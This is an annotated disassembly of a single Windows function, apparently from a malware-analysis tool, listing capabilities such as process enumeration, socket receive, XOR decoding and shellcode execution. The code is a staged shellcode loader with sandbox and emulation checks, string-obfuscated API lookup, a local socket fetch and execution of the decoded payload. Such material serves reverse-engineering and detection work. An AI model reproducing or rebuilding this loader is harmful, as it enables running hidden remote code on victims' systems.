Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Connect socket
Convert ip address from string
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1360]
mov eax, 0x1460
call fcn.140002150
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1350], rax
mov r14d, 2
xor edi, edi
mov ecx, r14d
xor edx, edx
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot_failed_with_error:__d_n
call fcn.140001010
xor eax, eax
jmp 0x1400013ed
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Process32First_failed_with_error:__d_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400013ed
lea rdx, [rsp + 0x50]
mov rcx, rsi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001120
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xf
jge 0x140001149
xor eax, eax
jmp 0x1400013ed
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], edi
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x14000142a
mov ecx, 0x202
lea rdx, [rbp + 0x190]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000142a
lea edx, [rax + 1]
mov qword [rsp + 0x1480], r15
lea r8d, [rax + 6]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x14000141d
mov ecx, 0x276b
mov word [rsp + 0x38], r14w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x3c]
mov ecx, r14d
lea rdx, str.127.0.0.1
mov word [rsp + 0x3a], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x38]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001414
xor r9d, r9d
lea rdx, [rbp + 0x350]
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x140001414
lea rcx, str.kernel32.dll
mov r14, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [str.Virt]
lea r8, [rbp + 0x330]
mov rbx, rax
mov dword [rbp + 0x338], ecx
movzx ecx, byte [0x140003304]
xor eax, eax
mov qword [rbp + 0x33d], rax
mov edx, recv
movzx eax, byte [0x14000330e]
mov byte [rbp + 0x33c], cl
mov ecx, dword [str.ualAll]
mov byte [rbp + 0x336], al
movzx eax, word [0x140003310]
mov dword [rbp + 0x330], ecx
movzx ecx, word [0x14000330c]
mov word [rsp + 0x30], ax
movzx eax, byte [0x140003312]
mov word [rbp + 0x334], cx
lea rcx, [rbp + 0x338]
mov byte [rsp + 0x32], al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [rsp + 0x30]
mov edx, recv
lea rcx, [rbp + 0x338]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rdx, [rbp + 0x338]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call rax
mov rbx, rax
test rax, rax
je 0x140001414
mov edx, edi
test esi, esi
jle 0x14000139c
cmp esi, 0x40
jb 0x14000139c
mov ecx, esi
and ecx, 0x8000003f
jge 0x14000131d
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x140003380]
sub esi, ecx
movsxd rax, esi
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rdi + 0x350]
add edx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rdi + 0x350], xmm1
movdqu xmm0, xmmword [rbp + rdi + 0x360]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rbp + rdi + 0x360], xmm0
movdqu xmm0, xmmword [rbp + rdi + 0x370]
pxor xmm0, xmm2
movdqu xmmword [rbp + rdi + 0x370], xmm0
movdqu xmm0, xmmword [rbp + rdi + 0x380]
pxor xmm1, xmm0
movdqu xmmword [rbp + rdi + 0x380], xmm1
add rdi, 0x40
cmp rdi, rax
jl 0x140001330
movsxd rax, edx
cmp rax, r14
jge 0x1400013c0
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rax + 0x350], 0xbb
inc rax
cmp rax, r14
jl 0x1400013b0
mov r8, r14
lea rdx, [rbp + 0x350]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
call rbx
xor eax, eax
mov r15, qword [rsp + 0x1480]
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.140001450
lea r11, [rsp + 0x1460]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400013e5
mov eax, 1
jmp 0x1400013ed